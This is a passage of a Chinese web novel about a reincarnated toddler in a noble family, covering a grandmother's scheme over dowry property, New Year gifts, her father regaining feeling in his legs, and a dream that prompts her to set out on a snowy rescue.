其实,当初京兆府成少尹离开后,她就严令儿子彻查含章苑失窃案。可孟二泉回报的结果尽是敷衍塞责,什么线索都查不到,东西如何不翼而飞,又如何运出守卫森严的侯府,竟成了无头公案。 更是话里话外指责就是老夫人行的事。 儿子怀疑她,老宋氏也不是没有疑心过儿子,私下也派过心腹婆子暗暗查访,可所有线索都被抹得干干净净,滴水不漏。 儿子以前隐约向她透露,有牵扯到宫里某位皇子的谋划,所以会不会用到了那里去,又不好明说? 她虽心疼钱财,但想到可能的“从龙之功”,便也半信半疑地压下了疑虑。 此刻被孟绫不管不顾地捅破,她怎能不又惊又怒,气急败坏?儿子或许真拿了钱去办“大事”,但若说他为了外室谋害结发妻子…… 虎毒尚且不食子,小宋氏终究是他的表妹,两人也曾有过恩爱时光。老宋氏心底是不相信儿子会狠毒至此的,那更像是孙女情急之下的恶毒臆测。 见张嬷嬷和琥珀得了吩咐,战战兢兢地想要退下,老宋氏强压下翻腾的气血,又哑声开口:“慢着。芝兰苑库房里清点剩下的东西,凡是原本属于柳氏嫁妆单子上的,一样不许留,全都整理出来,尽快搬去该去的地方。若有短缺……就变卖其他物件,务必给我补齐了。” “祖母!不行!那可是娘亲留给我将来压箱底的体己,是孙女的嫁妆啊!您怎么能就这样给了大房?我娘还没死呢!”孟绫顾不得脸上剧痛,猛地跳起来,冲过去张开双臂拦住张嬷嬷二人,声音尖利。 “不过是从这个院子搬到那个院子,你急什么?”老宋氏看着孙女那副护食的模样,心下厌烦,反而冷静了些,语气透着一股冰冷的算计,“眼光放长远些。等大房死绝了,这些东西,迟早还不是你和你弟弟的?现在不过是暂且存放在他们名下罢了。” 孟绫拦着的手微微松了松,但眼中疑虑未消:“娘亲房里的好东西,哪里比得上大房当初那份嫁妆丰厚?补过去,也是补不满的。” “罢了!”老宋氏重重叹了口气,像是割肉般疼,“把你祖父当年没来得及分清楚的那些私产,还有公中我能动用的,都折算进去,给她柳氏贴补齐全!总不能让外人揪住把柄,说我们侯府侵占儿媳妇的嫁财!” 说出这话,她心头痛得直抽抽。老侯爷去得突然,没留下只言片语,他的私产和侯府公中的大部分财产这些年都牢牢攥在她手里,大房连边都没沾到。如今却要白白掏出来填这个无底洞,简直是在剜她的心头肉。 她把厅内其余下人连同珍珠都屏退出去,只留下脸上泪痕未干的孟绫,这才朝她招了招手,放缓了声音:“绫儿,过来,到祖母这儿来。” 孟绫迟疑了一下,还是慢慢挪了过去。老宋氏拉过她的手,冰凉的指尖让孟绫微微一颤。 老宋氏压低了声音,近乎耳语:“傻孩子,祖母这么做,是为了谁?你爹……他或许有他的不是,但眼下这条路,他走得未必不明智。这一切,说到底,都是为了你们姐弟俩的前程打算。” 见孟绫抬眼望来,眼中仍有不解和怨愤,老宋氏凑得更近,声音更低,却带着一种蛊惑:“你想想,你爹就算袭了这侯爵,一个没有实权的空头爵位,在如今的京城算得了什么?不过是表面光鲜,照样被人瞧不起。 可若是……若是站对了地方,立下了从龙之功,那可就截然不同了!泼天的富贵,无上的权势,都在后头呢。” “可是……”孟绫想到库房空空,自家财产尽数搬空,未来仿佛没了着落,依旧惶恐。 “没有可是!”老宋氏语气斩钉截铁,带着不容置疑的意味,同时伸出枯瘦的手指,用力戳了戳孟绫的眉心,“你这孩子,怎么半点心眼不长,只盯着眼前这点蝇头小利?” 她描绘出一幅令人心驰神往的图景,声音充满了诱惑:“你难道就想将来随便嫁个六七品的小官,或是给哪个庶子做正室?若是你爹的大事成了,凭我们侯府的门第,凭你的品貌,我的绫儿……将来就是做个皇子正妃,也不是不可能!那才是真正的风光无限,尊荣一世!你想要那样的日子吗?” 这么大一张又香又烫的饼骤然画在眼前,孟绫彻底怔住了。脸上的疼痛似乎瞬间减轻,红肿脸颊上的怨气渐渐被一种混杂着野心的炽热光芒取代。她呼吸微微急促,反手抓住祖母冰凉的手:“祖母……您说的,是真的?我真的……有可能?” “祖母何时骗过你?”老宋氏见她动心,心中稍定,脸上也挤出一丝笑意,只是那笑意未达眼底,“如今紧要的是把眼前的难关渡过去,堵住外面的嘴。该舍的就得舍,舍不得孩子,套不着狼。” 孟绫这回终于信了,也顾不上脸肿,将头轻轻靠在老宋氏肩头,声音恢复了以往的娇糯,只是带着鼻音:“孙女知道了……是孙女愚钝,误会了祖母和爹爹。我就知道,祖母最疼孙女了,凡事都会为孙女打算得最周全。” 第39章 恭贺新年 书里那场烧死孟大川的大火,年前年后始终没有烧起来,仿佛被这漫天大雪提前浇熄了势头。 嘉禾庄这个年因此过得格外红火兴旺,处处洋溢着一种劫后余生般的庆幸与欢腾,家家户户的喧闹声、鞭炮声、笑谈声,混着炊烟,将庄子烘得暖意融融,其乐融融,连寒风都似乎柔和了几分。 虽然大雪一场接一场,仿佛天穹的棉絮被扯散了,日夜不停地飘落,将天地捂得严严实实,但由于庄子里提前备足了上好的银炭、黑炭,粮仓里堆满了米面杂粮,各色耐储的菜干肉脯,还有厚实崭新的棉衣袄裤,人人心里都有了底。 家家户户的男丁每日清晨首要之事,便是搭着梯子,小心又利落地将屋顶那层厚厚的、看似松软实则沉重的积雪清除干净,屋檐下冰棱子长了又断,断了又长,却始终没有哪一家的房梁发出过不堪重负的呻吟。 这个寒冬,嘉禾庄竟奇迹般地没有一户人家受灾,平安得让人心生感激。 因着这丰足与安宁,阿沅日日被精心喂养着,肉眼可见地圆润了起来。再冷的北风呼啸,红袖那又红又肿的冻疮,在这个年里竟踪迹全无,一双原本有些粗糙的手捂在暖袖里,渐渐恢复了柔润。 莲子更是变化显著,许是吃得好睡得稳,不必再受冻挨饿,不到二十天的工夫,她原本有些暗黄的肤色竟透出些许光泽,身量也悄悄拔高了一些。 大年初一,天光未大亮,阿沅便被红袖从暖烘烘的被窝里轻轻唤醒。她穿上自己买的那套大红锦缎棉衣,喜庆又贵气。 头上戴了顶同色的镶雪白兔毛的帽子,帽檐一圈蓬松柔软的绒毛衬得她的小脸愈发圆嘟嘟、粉扑扑,像只刚出笼的喜气馒头,白里透红,双眸因期待而亮晶晶的。 红袖一边给她整理衣襟系带,一边忍不住伸手,用指腹极轻地在她滑腻的脸颊上掐了一下,触手温软,惹人怜爱。 “奈奈奈!奈点恭喜窝。”小家伙的心思显然不在别处。没急着往爹娘屋里冲去请安讨红包,反而先趴到床边,小手往自己枕头底下摸索了一阵,哧溜一下滑下床榻,举着几个鼓鼓囊囊、绣工精巧的小荷包,学着大人的模样,挺起小胸脯,开始“派发”。 她屋里贴身伺候的人,这个年怎能亏待了去。 “恭喜小姐新年安康,平安顺遂。”红袖当即盈盈下拜,接过第一个递来的荷包。 入手一掂,沉甸甸的颇有分量,心里估摸,里头装的碎银子怕是不下二两,抵得上寻常人家几个月的嚼用,这份赏赐着实厚重。 阿沅看着红袖恭敬接过,笑得眼睛弯成了月牙,嘴角翘得老高,那得意又满足的小模样,活脱脱一只刚刚成功偷到油、还当了回散财小老板的红毛小狐狸。 红袖将荷包仔细收进怀里,福身又道:“奴婢谢小姐厚赏。”随即连声朝外间唤道:“绿果、红豆姐姐,快进来吧,小姐有赏!” “来了!”早就候在门帘外的两人,应声轻巧地掀帘而入。她们皆是习武之人,动作灵敏利落,进门后毫不迟疑,当即齐齐单膝点地,声音清脆响亮:“奴婢恭祝小姐新年富贵绵绵,福气沅沅满满!” “给,泥们的!”阿沅小手一挥,又是两个荷包准确递到二人手中。剩下最后一个略小些的,被她仔细揣进自己胸前的小兜兜里,拍了拍。然后小短手豪气地一挥,“跟窝走,领多多红封去!”。 正想昂首挺胸,迈着自以为威武的步伐领头冲出去,这潇洒却没能维持过三秒。后衣襟便被红袖眼疾手快地从后面轻轻拉住了:“小姐,不急在这一时,咱们先洗漱妥当。” 红袖一边麻利地拧了温热的帕子,轻轻覆在阿沅脸上擦拭,一边嘴巴吧嗒吧嗒地开始解释:“夫人和少爷昨晚守岁到后半夜,这会儿定然起得晚些。奴婢方才悄悄去正屋外头探看过动静了,那边院里才刚有丫鬟起身走动,准备热水呢,咱们现在过去,怕是还要等上好一阵子。” “哦!”阿沅这才后知后觉地想起什么,任由红袖摆布着小脸,含糊问道,“窝昨晚……是怎么回来的?”她依稀记得自己昨晚是在正屋,信誓旦旦说要陪着娘亲和哥哥一起守岁来着,怎么一睁眼就在自己床上了?后半段全然没了印象。 “嘻嘻,小姐还说呢。”红袖换了块帕子,细致地给她擦着小手,忍不住呲呲笑出声来,“昨儿晚上,才刚过了亥时,少爷故事才讲了一半,小姐您就已经窝在夫人怀里睡着了。后来是少爷亲自把您抱回屋来的,奴婢给您脱外衣时,您还高兴的哼哼了两声呢。” 红袖说到这里,似有些懊恼,小声嘀咕起来:“说起来,昨夜整个院里的人,怕就奴婢和小姐睡得最沉,没有守岁。等会儿见了莲子,那丫头定要拿这个笑话我们贪睡了。” “嘿嘿嘿!我说怎么一大早起来,右眼皮就跳个不停,原来是红袖姐姐躲在房里说我的坏话呢。”她话音才落,门帘便应声被掀开,一个小身影稳稳当当地迈了进来,站得笔直,可不就是莲子嘛! 今日莲子也换上了一身崭新的行头,一套桃红色的棉衣,衬得人精神焕发。头上戴了个同色的棉布围帽,脖子上也圈着毛茸茸的围巾,这一身鲜亮的桃红,将她原本有些不太白皙的肤色映出了几分健康的红晕,整个人瞧着格外精神。 看见小姐,她立刻俯身,规规矩矩地行了个礼,声音清亮:“莲子给小姐拜年,恭喜小姐,贺喜小姐,过了年又长了一岁!” “给泥的,”阿沅见是她,立刻从兜里掏出那个预留的小荷包,塞了过去。 莲子却像被烫到似的,连忙后退了两步,双手直摆:“使不得使不得!阿爷阿奶早就叮嘱过了,只有长辈给晚辈发压岁红封,讨个吉利,我可不能收小姐的,这不合规矩。” “嘿嘿,这个不是红封,”阿沅早料到她会推辞,小脑袋一扬,解释道,“这是过年礼物,不算那个规矩。泥打开看看。” “礼物?”莲子将信将疑,见阿沅坚持,才小心接过荷包,解开系绳。里面并非预想的银锞子,而是一只沉甸甸、亮闪闪的雕花银手镯。 她轻轻吸了口气,“这……这太贵重了。”嘴上说着推脱的话,目光却不由自主地被那镯子上栩栩如生的富贵鲤鱼雕工吸引住了,那鱼儿仿佛要跃出水面,寓意极好,做工也精致,实在让人移不开眼。 “你戴上试试!”阿沅见她喜欢,更高兴了,直接拿过镯子,拉过她的手腕就往里套。“窝挑的,娘亲说…就该…漂漂亮亮。看,窝们都漂漂亮亮的!” 莲子低头看着腕间突然多出的这份闪亮又实在的礼物,想起自己从前手腕上、脖子上空荡荡,最奢侈也不过是过年时绑的两根新头绳,鼻子忽然有些发酸。 这沉甸甸的不仅是银子,更是夫人和小姐将她放在心上的情谊。她握着镯子,激动得有些语无伦次:“谢……谢谢小姐……谢谢夫人……谢……我……我真喜欢……”眼眶都有些红了。 “嘻嘻!傻莲子,娘亲和爹爹给的红封,咱们还没去领呢!”阿沅看她激动的样子,心里也美滋滋的,一把拉起她的手,生怕她再沉浸在感激里掉金豆子,转身就兴冲冲地往外跑。“快走快走,别让嘚嘚抢了先!” 两个小姑娘,一个一身大红如火,一个桃红似霞,手拉着手,像两朵被冬日暖风催开的花,叽叽喳喳地冲出了房门。 第40章 吓人的礼物 “嘚嘚!嘚嘚!”阿沅穿着一身簇新的红袄子,像个小炮仗似的冲进正屋。她原本是兴冲冲来找娘亲讨压岁钱的,却没在正屋里瞧见娘亲的身影,倒是第一眼就瞅见了那个端坐在太师椅上的熟悉身影。 小嘴立刻撅了起来,能挂个油瓶,她有点生气地跺了跺脚,奶声奶气地嚷道:“嘚嘚不睡觉么?!天都亮啦!”没想还是被哥哥抢了先。 “妹妹不是应该先恭喜哥哥新年康健,学业进步么?”孟怀瑾早就等着她呢,见她这气鼓鼓的模样就觉得有趣,故意逗她。 他慢悠悠地举起一直藏在身后的一件长形物件,那物件用红绸裹着,露出一截精致的雕刻柄端,他笑眯眯地说:“这可是哥哥特意给你准备的年礼,送给妹妹的,祝妹妹新岁……”他本想说“笔墨精进”,好让她多练练字。 话还没说完,阿沅就像只受惊的小兔子,猛地往旁边一跳,连带着头上的小绒花都颤了颤。她的小脑袋摇得像拨浪鼓,双手胡乱在面前挥舞,急急喊道:“不要不要!坏嘚嘚!阿沅不要!” 一旁的莲子起初没看清是什么,但阿沅却是眼尖,透过那没裹严实的红绸缝隙,她瞥见了里面那粗壮得吓人的笔杆和蓬松的毫毛——那分明是个超巨型的大狼毫!比爹爹书桌上最大的那支还要大上一圈! 她的小心肝一颤,大过年的,哥哥就送这个?是嫌她去年写的“鬼画符”不够多,怕她的小手腕今年累不断么?这礼物简直比哥哥平日里给她的的功课还可怕! “阿沅也来了?快进来,爹爹也正等着你们呢,就听你在外头咋呼。”里间传来柳氏带着笑意的招呼声,那声音温柔又透着浓浓的暖意。 感知到屋内一家人团聚的温情氛围,莲子立刻不动了,她知趣地退后了几步,直到跟青衣姑姑站在一起。 “娘亲!爹爹!嘚嘚坏,初一……初一就捉窝写字!”阿沅逮着了告状的机会,像条灵活的小鱼,躲过一脸讨好、嬉笑着想把大笔往她怀里塞的孟怀瑾,迈开小短腿,“蹭蹭蹭”地径直就往里屋跑。 她急着要去跟爹爹和娘亲告状,哥哥就是看不得她清闲,大过年的一点空闲都不放过,还想用这么大的笔来“折磨”她。 进了里屋,她一眼就看到并排坐在床上的爹娘。孟大川靠着引枕,虽然脸色还有些苍白,但精神看着不错;柳氏坐在他身侧,正温柔地看着她。 阿沅蹭蹭蹭又手脚并用地往那铺着厚厚锦褥的床上爬,一面努力攀爬,一面小嘴不停地说着自己的祝福语言,“娘亲快快好起来,爹爹也快快好起来——站起来,带阿沅骑大马!嘚嘚好……哼,现在也不好!” “你呀,真是个小淘气,没良心的小家伙。”柳氏被女儿逗乐了,伸手在她努力往上拱的小屁股上轻轻拍了两下,也顺势托了她一把,帮她顺利爬上了床。 “你哥哥为了给你做个可以背在背上的、独一无二的小玩偶,剪坏了娘亲的好几块料子,手上还被针戳了不少窟窿眼儿。你倒好,不领情还告状。”柳氏点着她的小鼻子笑道。 “玩……玩偶?”阿沅猛地转过头,圆溜溜的眼睛瞪得老大,写满了不可置信。 这时候,跟进来的孟怀瑾已经拆开了红绸,露出那“大狼毫”的全貌——原来笔杆部分是用柔软填充物做的圆柱,外面裹着光滑的锦缎,那蓬松的“毫毛”竟是无数五彩丝线精心捻成,丝丝缕缕,在晨光下泛着柔和的光泽,顶端还俏皮地缀着两个小铃铛和几颗小绒球,这哪里是写字用的笔,分明是个造型别致又可爱的大型玩偶! 孟怀瑾憋着笑,把手上的大笔玩偶冲着床上呆住的阿沅轻轻扔了过去,然后才收敛神色,恭恭敬敬对着爹娘行了礼:“爹爹,娘亲,新年好。愿爹爹早日康复,身强体健;愿娘亲天天开心,平安顺遂,青春永驻。” 行完礼,他也一屁股坐到床沿,举起那大大的笔毫玩偶,用那柔软丝线做成的、一点也不扎人的“笔尖”那头,轻轻去戳妹妹肉乎乎的脸蛋和脖子:“喏,妹妹,真的不要么?枉费了哥哥一番苦心,熬了好几个晚上呢。” 说完,他还假装很伤心地用袖子掩上了脸,肩膀一耸一耸的。 那黑色的“笔尖”触感柔软丝滑,带着锦缎特有的凉意,轻轻蹭在皮肤上痒痒的。阿沅总算是彻底相信了,小脸上瞬间阴转晴,绽放出大大的笑容,亮晶晶的眼里满是惊喜。 她“呀”地欢叫一声,小身子一下扑过来,紧紧抱住几乎有她半个身子高的玩偶笔杆,把脸埋在那蓬松柔软的五彩丝线里蹭了又蹭:“要!阿沅喜欢!超级喜欢!不写大字就更喜欢啦!”她欢喜得语无伦次。 圆滚滚的小身子因为扑得太急,一下没站稳,就抱着大玩偶往前扑腾。孟怀瑾眼疾手快,趁势张开手臂将她连人带玩偶一起抱住。小家伙兴奋得脸蛋红扑扑的,像苹果一样,她开心地“咯咯”笑着,小嘴巴无意间在哥哥的脸颊上“吧唧”划了一下。 孟怀瑾心里那点小小的“委屈”立刻烟消云散,高兴起来,也“吧嗒”在她额头上响亮地亲了一口。 阿沅更是笑个不停,抱着她心爱的新玩偶,骨碌一下滚倒在爹娘柔软的被子上,小手小脚乱蹬,玩偶上的小铃铛发出清脆悦耳的“叮铃”声,和着她的笑声,充满了整个房间。 “好,好孩子,都到爹爹这里来。”孟大川早就洗漱完毕,精神不错地靠坐在床上,看着一双儿女嬉戏玩闹,自己也觉得开怀,连日来的病痛都似乎减轻了不少。 第41章 孟大川恢复知觉 他笑着伸出手,想要揽过孩子们,却忽然嘴角一咧,倒吸了一口凉气:“嘶——”,脸上掠过一丝难以掩饰的痛苦神色,眉头瞬间拧紧了。 正扶着妹妹的孟怀瑾吓得心里一咯噔,连忙松开阿沅,挪到床头,伸手扶住爹爹的胳膊,紧张地问:“爹爹?您怎么了?”正准备给儿女让位的柳氏也闻声猛地转过头,连声急问:“夫君?可是哪里痛?是腿还是腰?” 看到爹爹龇牙咧嘴似乎很痛的样子,原本在床上打滚笑闹的阿沅也不敢闹了,知道触碰着了爹爹,连忙手忙脚乱地爬起来,怀里还紧紧搂着她的大玩偶。 然而她爬得急,小脚丫一个没注意,“噗”地一下踩在了爹爹盖着薄被的腿上,正好是小腿的位置。她自己也吓了一跳,惊呼:“爹爹!” “欸!”孟大川随着女儿这声清脆的呼喊和腿上传来的触感,又是一声短促的惊呼,眉心皱作了一团,但那表情似乎不仅仅是疼痛,还夹杂着一丝难以言喻的……惊异? 这下,几人都惊住了。阿沅抱着玩偶,站在爹爹腿边,一动不敢动,大眼睛里满是惶恐和担忧,以为自己又踩痛了爹爹,有点懊悔。 只有柳氏,在最初的惊慌后,忽然像是意识到了什么,她的手有些发颤,却异常迅速地一把掀开了孟大川腿上的被子。 她看着丈夫穿着寝裤的腿,深吸一口气,那平日里略显娇弱的手,此刻却带着一种决然的力度,一把拧在了他的大腿外侧。 “呲——!”孟大川再次发出一声惊呼,但这一次,惊呼之后,他的眼睛却骤然睁大了,死死盯住了自己的腿。 “爹爹,”孟怀瑾脸上的惊惧瞬间被一种难以置信的狂喜取代,声音都激动得有些变调:“有感觉了是不是?您的腿……有感觉了?” “夫君,”柳氏看着自己刚才拧过的地方,又抬头看看孟大川脸上那混杂着痛楚和震惊的表情,有点不敢相信自己的眼睛和触感。她想再拧一下确认,可手指颤抖着,怎么也舍不得再下手,只是双手无措地交握着,声音带着哭腔:“是……是真的吗?不是我做梦?” “爹爹!腿腿痛吗?”阿沅也反应过来了,她把心爱的大笔玩偶往旁边一扔,也顾不得许多,小小的身子“哧溜”一下就钻进了被子。她在被子里窸窸窣窣地一阵摸索,从孟大川的大腿往下,用她温热柔软的小手,这里摸摸,那里掐掐,力道时轻时重,毫无章法,却充满了急切和期盼。 “别!哎哟……这麻嗖嗖的……又有点痒……阿沅,轻点……左边……哎!”孟大川不再仅仅是惊呼,他的声音里充满了各种复杂的情绪——隐忍、试探、激动,还有一丝生怕吓到女儿的小心翼翼,声调变得非常柔和,甚至带着点诱哄。 当阿沅的小手最后顽皮地停留在他的脚底心,不是掐,而是像羽毛一般,用指尖轻轻地、快速地挠了几下时,床上床下的三人同时看到,孟大川那只被挠的脚,脚趾明显地蜷缩了一下,然后整个脚掌竟然微微向上提起,不受控制地瑟缩着躲闪了一下! “爹爹!您的脚动了!真的动了!”孟怀瑾猛地惊呼出声,激动得突地一下从床沿扑了过来,眼眶瞬间红了。 “夫君!你的脚……你的脚知道躲了!”柳氏喜极而泣,眼泪唰地就流了下来,她忍不住喃喃道,想伸手去摸又不敢,仿佛那是易碎的珍宝:“夫君,你让我……让我再掐一把,看是不是真的,是不是我在发梦……” 可她终究还是不舍得再下手去掐,只是用手背紧紧捂着嘴,压抑着哽咽。 阿沅从被子里钻出小脑袋,帽子都掉了。小脸上却绽放出比刚才得到玩偶时还要明亮灿烂百倍的笑容。 她又笑着伸手去抓挠爹爹的脚底,看到爹爹的脚再次敏感地缩起,她开心得咯咯直笑,最后干脆滚倒在孟大川的腿上,抱着爹爹的膝盖,扬起小脸,眼里闪着无比坚信的光芒。 大声宣布:“神仙姑姑不骗窝!爹爹还可以站起来……可以再骑大马,可以做大将军!”清脆的童音里,充满了对未来的无限憧憬和笃定。 对孟沅而言,孟大川的腿恢复知觉,就不枉她穿书这一遭,意味着这是一个小胜利。侯府大房的命运在这一刻已经在悄然改变。 第42章 梦见老师 大年初一,孟大川的下肢竟开始有了知觉,那阵酥麻感像细小的蚂蚁沿着腿骨悄然爬升,起初只以为是久坐后的气血不通,可当他尝试着微微蜷动脚趾时,那清晰的、久违的牵动感让他猛地怔住了。 这简直是意外之喜,连孟沅都没预想到恢复得这般快,一家人的喜悦几乎要冲破这冬日沉闷的屋宇,围在孟大川身边,轻声细语地谈论着,眼里都闪着光,硬是在屋里多耽搁了好些时辰。 直至一家人吃了所谓的早饭,实则过了午时许久。 饭后,院子里渐渐热闹起来,下人们穿都换上了新衣裳,纷纷过来拜年领赏。 佃户们则带着一身寒气与朴实的笑容,鱼贯而入,在正厅外规规矩矩地磕头拜年,说些吉祥话。 柳氏和孟怀瑾挨个发放用红纸包着的赏钱或一小包饴糖,人人脸上都洋溢着过节的喜气。 这么一番迎来送往,等最后一位佃户千恩万谢地退下,一天大半的光景也就这般悄无声息地流走了。 “带小姐回屋休息吧!”柳氏揉了揉发酸的额角,看坐在蒲团上的阿沅脑袋一点一点,又开始昏昏欲睡,便冲候在门口的红袖招了招手,又回头对正翻阅书卷的儿子温言道:“今日你也累了,瑾儿,回屋歇会儿吧,仔细伤了神。” 不说儿子女儿,柳氏自己也是一脸倦容。平日里歇得早,昨晚守岁熬了夜,今日又劳神应酬,这身子骨还真有些吃不消。 阿沅被红袖抱回西厢房,一看见那厚重的冬被和垂下的幔帐,便迫不及待地轻捏手心,一闪身进了空间里舒适的休息室。 外间屋里虽燃着两盆炭火,噼啪作响,床上也垫了两床厚实的棉被,可怎么也比不上自己这休息间——中央空调送出恰到好处的暖风,硅胶床垫贴合着身体曲线,木棉枕头蓬松柔软,丝绒薄被轻若无物。阿沅把自己埋进这一片温暖舒适里,几乎立刻就坠入了沉沉的梦乡。 暖暖的,好舒服啊!梦境倏忽展开,竟是绿树成荫,花团锦簇,耳畔鸟语啁啾,鼻尖花香隐约。 旁边那道花墙上,粉色、红色、紫色的三角梅开得如火如荼,热烈地攀援着,几乎要流淌下来。 远处湖面波光粼粼,几只野鸭悠闲地划水,白鹭时而掠过水面,时而翩然飞起,在湛蓝的天幕上留下优雅的剪影。 这不是穿书前,她几乎每日都要晨跑夜跑的南湖公园吗?她甚至清晰地看到了不远处的湖心岛和那座熟悉的拱桥轮廓。是的,连从她身边轻快越过的人都穿着休闲运动服或是专业的跑步装备,空气里弥漫着青草与湖水的气息。难道…… 她这是又穿回来了么?一股巨大的、混杂着茫然的喜悦涌上心头。 正在暗自庆幸、几乎要雀跃的时候,忽然看见迎面跑步而来一个熟悉的身影,步履沉稳,身形清瘦。“杨教授!”孟沅情不自禁地惊呼出声,这是她的恩师,农大的研究生导师杨立生,那位学识渊博、待她如亲孙女般的老人。 孟沅停住了脚步,心中涌起他乡遇故知的狂喜,几乎是本能地伸出了手,脸上绽放出灿烂的笑容。她以为老师见到她也会同样惊喜,不仅会握手,说不定还会给她一个慈祥的拥抱。 却不想,那位名义上在跑步、实则最多算是快走的老人,对她的热情呼喊和伸出的手竟视若无睹。 他面容平静,甚至带着惯常思考时的微微出神,目光仿佛穿透了她,落在更远的地方,就那么云淡风轻般从她身边掠过,衣角都没碰到一丝,恍若她是路边一棵无关紧要的树,或是空气中一抹无形的尘埃。 孟沅愣住了,随即以为老师在跟她开玩笑,故意逗她。她忍不住转身,小跑着跟了上去,再一次提高声音,带着点撒娇和急切:“杨教授!是我呀,孟沅!您的学生孟沅!” 那道清瘦的背影却好似忽然被什么催促着,蓦地加快了脚步,竟跑得有些踉跄却异常迅速,完全不似平日里那位从容温和、年过六旬的老教授。那背影很快缩小,融入晨跑的人流,消失在了绿道拐弯处。 “啊嘁!”孟沅猛地打了个喷嚏,一股没来由的酸楚直冲鼻尖,眼泪莫名其妙就涌了出来。同时,一股刺骨的寒意毫无征兆地袭来,仿佛瞬间从温暖的春日坠入冰窟。四周的景象也奇怪地晃动、模糊起来,像浸了水的油画,色彩融成一团,逐渐被一片茫茫的白雾吞噬。 白雾散去,视野重新清晰,却是另一番天地。空旷,寂寥,满目皆白——厚厚的积雪覆盖了田野、道路、屋舍。这环境依稀熟悉,怎么好像又回到了庄子附近?那影影绰绰的轮廓,似乎是嘉禾庄的大门楼。 巨大的失望攫住了梦中的孟沅:终究是回不去了啊……即使在梦里,她也在懊恼地捶打自己:怎么就回不去了呢? 只是,前面雪地里,那个深一脚浅一脚艰难挪动的身影,怎么……那么熟悉?虽然换了装束,那清瘦的身形,微微佝偻却又带着某种执拗的姿态,分明还是杨教授! 只是他身上那套宽松舒适的运动装和跑鞋,已换成了一身看不出原本颜色的破旧长衫,脚上是一双单薄的、沾满泥雪的布鞋。 这大雪纷飞、天寒地冻的时刻,他看起来落魄极了,步履蹒跚,跌跌撞撞,仿佛随时会被寒风刮倒。他这是要去哪儿?是……来找她的吗? 一股心酸和急切冲上心头,孟沅不顾一切地跑上去,积雪没到小腿肚,冰冷刺骨。她伸出双手,想要搀扶住那摇摇欲坠的老人。就在她的指尖几乎要触碰到他那冰冷衣衫的一刹那—— “啊嘁!”又是一个剧烈的哆嗦和喷嚏,寒意透骨。 “小姐,”红袖带着惊惶的呼声仿佛从很远的地方传来,紧接着是幔帐被急急掀动的窸窣声。孟沅吓得一个激灵,连忙捏住了手心,想要把自己从这混乱冰冷的梦境中意念出来。 却没想,意识骤然清明,睁眼一看,自己已然躺回了屋里那张简陋的拔步床上,身上盖着厚重的棉被。 她是做梦时无意识地捏了掌心,所以出来了?还是……梦中杨教授在雪地蜷缩的惨状,像一根冰冷的针,把她硬生生刺了出来?孟沅拥着被子坐起,心脏怦怦直跳,额角渗出细微的冷汗,一时之间分不清在梦里还是在现实。 “小姐,可是做噩梦了?” 红袖一双温热粗糙的手探进来,不由分说地将她刚才因惊悸而伸出被子的手压了回去,仔细掖好被角,嘴里絮絮叨叨,满是心疼与后怕,“您看,小手都冰了!定是伸出去受了凉。可不敢再这样,仔细冻着,夫人知道了,待会非给您灌上一碗浓浓的姜汤驱寒不可。” 原来刚才梦中那刺骨的寒冷是真的,是因为自己不但出了空间,还在无意识中把胳膊伸到了冰冷的被窝外。这时,绿果和红豆也一前一后掀了棉帘进来,各自手里捧着一个刚加好炭、烧得正旺的炭盆,炭火的红光映着她们担忧的脸。 “都怪奴婢们不好,”绿果将炭盆小心放在床脚,懊恼道,“不该两个炭盆同时端出去加炭,留小姐一人在屋里。” “小姐,您没事吧?脸都有些白了。”红豆也放下炭盆,凑近来看,伸手想探孟沅的额头。 “外面天黑了吗?”阿沅避开她的手,兀自问道,声音还带着一丝梦魇初醒的微哑,她心里那点蹊跷的感觉越来越重,像雪球般滚大。 “快了,估摸着再有一会儿就全黑了。”绿果看了看窗纸答道,“小姐既醒了,就起来吧。夫人和少爷都起身了,夫人正吩咐厨房的婆子上羊肉锅子呢,说今晚天冷,吃锅子暖暖身子。” “快!快帮窝穿衣服!”阿沅闻言,像被什么扎了一下,一骨碌就从被窝里爬了出来,动作快得让两个丫鬟都愣了一下。那个梦太清晰,太真实,那种心慌和紧迫感萦绕不去,她总觉得有什么事情要发生,或者……已经发生了。 梦境里天还是亮着呢,再拖下去,老师被雪埋了也不一定。 “小姐,也不用这么急,锅子还得准备一阵呢。”绿果和红豆以为她是肚子饿得狠了,连忙放下手中活计过来帮忙。 第43章 救人? 三人手脚麻利,一个烘衣服两个穿,一件件给她套上,没一会儿,又重新把她裹成了一个圆滚滚、红彤彤的棉球,只露出一张犹带惊恐的小脸。 “绿果!红豆!带窝出去!窝要出去飞!”衣服刚穿妥,阿沅脚一沾地,就像只受惊的小兔子般埋头往门外冲,嘴里含糊却急切地喊着。 两人吓了一跳,连忙追上去,一左一右拦在正屋入口,连声劝道:“小姐,不可!万万不可!外面雪大着呢,天又快黑了,路滑不好走。” 这眼看就要天黑透的暴雪天气,寻常有事都轻易不敢往外跑,哪能任由三岁的小主子跑出去玩耍? 阿沅人小腿短,又穿得臃肿,哪里跑得过两个手脚利落的丫鬟,还没跑出几步,就被四只有力的手轻轻提起,几乎是架着转了方向,送回了正屋。 “你们!不听发(话)!气四(死)窝了!”阿沅被搁在正屋地上,气得跺了跺脚,小脸涨红。 可梦境之事难以解释,她也不再执拗硬闯,只是那股不安在胸中翻腾。她越过正吩咐摆饭、一脸询问望过来的娘亲,径直跑向了里屋爹爹的床边。 蹭蹭蹭几下,连脚上沾了雪泥的靴子都顾不上脱,她又手脚并用地爬上了床。 “爹爹!”阿沅有点气喘,胸口因急切而微微起伏,小脸上混合着未褪的惊惶和某种下定决心的倔强。孟大川正靠在床头闭目养神,闻声睁开眼,立刻看出了女儿的异常。 “怎么了,这是?”孟大川的声音温和而有力,大手一捞,便将那圆滚滚的一团圈到自己臂弯里,“谁又惹我家宝贝沅沅不高兴了?说来爹爹给你做主。”他用手指轻轻刮了刮女儿冰凉的小鼻尖。 “爹爹,窝要出去。”阿沅仰着脸,黑葡萄似的眼睛里写满了认真,其实以她的心智,说话本可以更利索些,但此刻她不敢显露太多,只得继续装着三岁孩童的口齿不清,努力表达,“现在就要!” “入了夜,雪只怕更大,风也紧,去不得。”孟大川只当是小孩子关了一天闷得慌,想出去玩雪,便放柔了声音规劝安慰,“乖,明日,明日天光好些,爹爹让哥哥带你去堆个大大的雪人,好不好?” “不是堆许(雪)人!”阿沅急了,在爹爹怀里扭动了一下,伸出一根小手指,坚定不移地指向庄子大门的方向,声音因急切而更加含混,却又异常清晰地道出石破天惊的一句: “窝…窝要救人!” “救人?” 